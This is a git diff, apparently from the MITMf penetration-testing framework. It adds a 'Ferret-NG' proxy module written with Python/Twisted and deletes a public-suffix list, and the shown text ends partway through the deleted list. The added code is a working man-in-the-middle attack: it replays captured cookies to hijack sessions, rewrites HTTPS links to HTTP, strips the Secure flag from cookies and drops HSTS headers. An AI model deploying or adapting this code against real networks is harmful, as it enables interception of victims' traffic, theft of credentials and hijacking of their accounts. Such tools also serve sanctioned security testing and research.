+++ b/core/ferretNG/ClientRequest.py @@ -0,0 +1,168 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse +import logging +import os +import sys +import random +import re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +mitmf_logger = logging.getLogger('mitmf') + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() + #self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'host' in headers: + if headers['host'] in self.urlMonitor.cookies: + mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = self.urlMonitor.cookies[headers['host']] + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + def handleHostResolvedSuccess(self, address): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute + + if self.content: + self.content.seek(0,0) + + postData = self.content.read() + + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) + + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) + + else: + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) + + self.proxyViaHTTP(address, self.method, path, postData, headers, port) + + def handleHostResolvedError(self, error): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) + try: + self.finish() + except: + pass + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) + return defer.succeed(address) + else: + return reactor.resolve(host) + + def process(self): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers, port): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = ServerConnection + #self.reactor.connectTCP(host, 80, connectionFactory) + self.reactor.connectTCP(host, port, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() diff --git a/core/ferretNG/CookieCleaner.py b/core/ferretNG/CookieCleaner.py new file mode 100644 index 0000000..5ba393c --- /dev/null +++ b/core/ferretNG/CookieCleaner.py @@ -0,0 +1,105 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/core/ferretNG/DnsCache.py b/core/ferretNG/DnsCache.py new file mode 100644 index 0000000..f0cc638 --- /dev/null +++ b/core/ferretNG/DnsCache.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging + +mitmf_logger = logging.getLogger('mitmf') + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.customAddress = None + self.cache = {} + + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None diff --git a/core/ferretNG/FerretProxy.py b/core/ferretNG/FerretProxy.py new file mode 100644 index 0000000..d95f786 --- /dev/null +++ b/core/ferretNG/FerretProxy.py @@ -0,0 +1,24 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class FerretProxy(HTTPChannel): + + requestFactory = ClientRequest diff --git a/core/ferretNG/SSLServerConnection.py b/core/ferretNG/SSLServerConnection.py new file mode 100644 index 0000000..8ba8007 --- /dev/null +++ b/core/ferretNG/SSLServerConnection.py @@ -0,0 +1,110 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from ServerConnection import ServerConnection +from URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger('mitmf') + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceFavicon(self, data): + match = re.search(SSLServerConnection.iconExpression, data) + + if (match != None): + data = re.sub(SSLServerConnection.iconExpression, + "", data) + else: + data = re.sub(SSLServerConnection.headExpression, + "", data) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + if (self.urlMonitor.isFaviconSpoofing()): + data = self.replaceFavicon(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/core/ferretNG/ServerConnection.py b/core/ferretNG/ServerConnection.py new file mode 100644 index 0000000..e1e04ef --- /dev/null +++ b/core/ferretNG/ServerConnection.py @@ -0,0 +1,193 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys + +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger('mitmf') + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) + #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.clientInfo = None + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + if self.command == 'GET': + + mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) + + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.iteritems(): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + + self.transport.write(self.postData) + + def connectionMade(self): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") + self.isCompressed = True + + elif (key.lower()== 'strict-transport-security'): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") + + elif (key.lower() == 'content-length'): + self.contentLength = value + + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + + else: + self.client.setHeader(key, value) + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + try: + HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + except: + pass + + def handleResponse(self, data): + if (self.isCompressed): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + data = self.replaceSecureLinks(data) + + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + try: + self.client.write(data) + except: + pass + + try: + self.shutdown() + except: + mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") + + def replaceSecureLinks(self, data): + + iterator = re.finditer(ServerConnection.urlExpression, data) + + for match in iterator: + url = match.group() + + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) + + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + try: + self.client.finish() + self.transport.loseConnection() + except: + pass diff --git a/core/ferretNG/ServerConnectionFactory.py b/core/ferretNG/ServerConnectionFactory.py new file mode 100644 index 0000000..a64c800 --- /dev/null +++ b/core/ferretNG/ServerConnectionFactory.py @@ -0,0 +1,48 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from twisted.internet.protocol import ClientFactory + +mitmf_logger = logging.getLogger('mimtf') + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + try: + self.client.finish() + except: + pass diff --git a/core/ferretNG/URLMonitor.py b/core/ferretNG/URLMonitor.py new file mode 100644 index 0000000..d1381aa --- /dev/null +++ b/core/ferretNG/URLMonitor.py @@ -0,0 +1,85 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os +import logging + +mitmf_logger = logging.getLogger('mimtf') + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + cookies = dict() + _instance = None + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = dict() + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + return True + + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + + pathIndex = url.find("/", methodIndex) + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + url = method + host + path + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) diff --git a/core/publicsuffix/__init__.py b/core/ferretNG/__init__.py similarity index 100% rename from core/publicsuffix/__init__.py rename to core/ferretNG/__init__.py diff --git a/core/publicsuffix/publicsuffix.py b/core/publicsuffix/publicsuffix.py deleted file mode 100644 index 5488ab2..0000000 --- a/core/publicsuffix/publicsuffix.py +++ /dev/null @@ -1,106 +0,0 @@ -"""Public Suffix List module for Python. -""" - -import codecs -import os.path - -class PublicSuffixList(object): - def __init__(self, input_file=None): - """Reads and parses public suffix list. - - input_file is a file object or another iterable that returns - lines of a public suffix list file. If input_file is None, an - UTF-8 encoded file named "publicsuffix.txt" in the same - directory as this Python module is used. - - The file format is described at http://publicsuffix.org/list/ - """ - - if input_file is None: - input_path = os.path.join(os.path.dirname(__file__), 'publicsuffix.txt') - input_file = codecs.open(input_path, "r", "utf8") - - root = self._build_structure(input_file) - self.root = self._simplify(root) - - def _find_node(self, parent, parts): - if not parts: - return parent - - if len(parent) == 1: - parent.append({}) - - assert len(parent) == 2 - negate, children = parent - - child = parts.pop() - - child_node = children.get(child, None) - - if not child_node: - children[child] = child_node = [0] - - return self._find_node(child_node, parts) - - def _add_rule(self, root, rule): - if rule.startswith('!'): - negate = 1 - rule = rule[1:] - else: - negate = 0 - - parts = rule.split('.') - self._find_node(root, parts)[0] = negate - - def _simplify(self, node): - if len(node) == 1: - return node[0] - - return (node[0], dict((k, self._simplify(v)) for (k, v) in node[1].items())) - - def _build_structure(self, fp): - root = [0] - - for line in fp: - line = line.strip() - if line.startswith('//') or not line: - continue - - self._add_rule(root, line.split()[0].lstrip('.')) - - return root - - def _lookup_node(self, matches, depth, parent, parts): - if parent in (0, 1): - negate = parent - children = None - else: - negate, children = parent - - matches[-depth] = negate - - if depth < len(parts) and children: - for name in ('*', parts[-depth]): - child = children.get(name, None) - if child is not None: - self._lookup_node(matches, depth+1, child, parts) - - def get_public_suffix(self, domain): - """get_public_suffix("www.example.com") -> "example.com" - - Calling this function with a DNS name will return the - public suffix for that name. - - Note that for internationalized domains the list at - http://publicsuffix.org uses decoded names, so it is - up to the caller to decode any Punycode-encoded names. - """ - - parts = domain.lower().lstrip('.').split('.') - hits = [None] * len(parts) - - self._lookup_node(hits, 1, self.root, parts) - - for i, what in enumerate(hits): - if what is not None and what == 0: - return '.'.join(parts[i:]) diff --git a/core/publicsuffix/publicsuffix.txt b/core/publicsuffix/publicsuffix.txt deleted file mode 100644 index 87b2f33..0000000 --- a/core/publicsuffix/publicsuffix.txt +++ /dev/null @@ -1,4909 +0,0 @@ -// ***** BEGIN LICENSE BLOCK ***** -// Version: MPL 1.1/GPL 2.0/LGPL 2.1 -// -// The contents of this file are subject to the Mozilla Public License Version -// 1.1 (the "License"); you may not use this file except in compliance with -// the License. You may obtain a copy of the License at -// http://www.mozilla.org/MPL/ -// -// Software distributed under the License is distributed on an "AS IS" basis, -// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License -// for the specific language governing rights and limitations under the -// License. -// -// The Original Code is the Public Suffix List. -// -// The Initial Developer of the Original Code is -// Jo Hermans . -// Portions created by the Initial Developer are Copyright (C) 2007 -// the Initial Developer. All Rights Reserved. -// -// Contributor(s): -// Ruben Arakelyan -// Gervase Markham -// Pamela Greene -// David Triendl -// Jothan Frakes -// The kind representatives of many TLD registries -// -// Alternatively, the contents of this file may be used under the terms of -// either the GNU General Public License Version 2 or later (the "GPL"), or -// the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), -// in which case the provisions of the GPL or the LGPL are applicable instead -// of those above. If you wish to allow use of your version of this file only -// under the terms of either the GPL or the LGPL, and not to allow others to -// use your version of this file under the terms of the MPL, indicate your -// decision by deleting the provisions above and replace them with the notice -// and other provisions required by the GPL or the LGPL. If you do not delete -// the provisions above, a recipient may use your version of this file under -// the terms of any one of the MPL, the GPL or the LGPL. -// -// ***** END LICENSE BLOCK ***** - -// ac : http://en.wikipedia.org/wiki/.ac -ac -com.ac -edu.ac -gov.ac -net.ac -mil.ac -org.ac - -// ad : http://en.wikipedia.org/wiki/.ad -ad -nom.ad - -// ae : http://en.wikipedia.org/wiki/.ae -// see also: "Domain Name Eligibility Policy" at http://www.aeda.ae/eng/aepolicy.php -ae -co.ae -net.ae -org.ae -sch.ae -ac.ae -gov.ae -mil.ae - -// aero : see http://www.information.aero/index.php?id=66 -aero -accident-investigation.aero -accident-prevention.aero -aerobatic.aero -aeroclub.aero -aerodrome.aero -agents.aero -aircraft.aero -airline.aero -airport.aero -air-surveillance.aero -airtraffic.aero -air-traffic-control.aero -ambulance.aero -amusement.aero -association.aero -author.aero -ballooning.aero -broker.aero -caa.aero -cargo.aero -catering.aero -certification.aero -championship.aero -charter.aero -civilaviation.aero -club.aero -conference.aero -consultant.aero -consulting.aero -control.aero -council.aero -crew.aero -design.aero -dgca.aero -educator.aero -emergency.aero -engine.aero -engineer.aero -entertainment.aero -equipment.aero -exchange.aero -express.aero -federation.aero -flight.aero -freight.aero -fuel.aero -gliding.aero -government.aero -groundhandling.aero -group.aero -hanggliding.aero -homebuilt.aero -insurance.aero -journal.aero -journalist.aero -leasing.aero -logistics.aero -magazine.aero -maintenance.aero -marketplace.aero -media.aero -microlight.aero -modelling.aero -navigation.aero -parachuting.aero -paragliding.aero -passenger-association.aero -pilot.aero -press.aero -production.aero -recreation.aero -repbody.aero -res.aero -research.aero -rotorcraft.aero -safety.aero -scientist.aero -services.aero -show.aero -skydiving.aero -software.aero -student.aero -taxi.aero -trader.aero -trading.aero -trainer.aero -union.aero -workinggroup.aero -works.aero - -// af : http://www.nic.af/help.jsp -af -gov.af -com.af -org.af -net.af -edu.af - -// ag : http://www.nic.ag/prices.htm -ag -com.ag -org.ag -net.ag -co.ag -nom.ag - -// ai : http://nic.com.ai/ -ai -off.ai -com.ai -net.ai -org.ai - -// al : http://www.ert.gov.al/ert_alb/faq_det.html?Id=31 -al -com.al -edu.al -gov.al -mil.al -net.al -org.al - -// am : http://en.wikipedia.org/wiki/.am -am - -// an : http://www.una.an/an_domreg/default.asp -an -com.an -net.an -org.an -edu.an - -// ao : http://en.wikipedia.org/wiki/.ao -// http://www.dns.ao/REGISTR.DOC -ao -ed.ao -gv.ao -og.ao -co.ao -pb.ao -it.ao - -// aq : http://en.wikipedia.org/wiki/.aq -aq - -// ar : http://en.wikipedia.org/wiki/.ar -*.ar -!congresodelalengua3.ar -!educ.ar -!gobiernoelectronico.ar -!mecon.ar -!nacion.ar -!nic.ar -!promocion.ar -!retina.ar -!uba.ar - -// arpa : http://en.wikipedia.org/wiki/.arpa -// Confirmed by registry 2008-06-18 -e164.arpa -in-addr.arpa -ip6.arpa -iris.arpa -uri.arpa -urn.arpa - -// as : http://en.wikipedia.org/wiki/.as -as -gov.as - -// asia: 